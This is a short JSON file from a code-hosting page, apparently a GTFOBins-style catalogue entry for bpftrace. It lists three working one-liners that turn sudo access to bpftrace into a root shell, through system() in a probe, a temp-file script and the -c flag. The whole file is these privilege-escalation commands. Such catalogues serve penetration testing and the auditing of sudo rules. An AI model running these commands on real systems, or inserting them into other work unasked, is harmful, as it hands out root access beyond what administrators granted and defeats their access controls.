You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
15 lines
327 B
JSON
15 lines
327 B
JSON
5 years ago
|
{
|
||
|
"functions": {
|
||
|
"sudo": [
|
||
|
{
|
||
|
"code": "sudo bpftrace -e 'BEGIN {system(\"/bin/sh\");exit()}'"
|
||
|
},
|
||
|
{
|
||
|
"code": "TF=$(mktemp)\necho 'BEGIN {system(\"/bin/sh\");exit()}' >$TF\nsudo bpftrace $TF\n"
|
||
|
},
|
||
|
{
|
||
|
"code": "sudo bpftrace -c /bin/sh -e 'END {exit()}'"
|
||
|
}
|
||
|
]
|
||
|
}
|
||
|
}
|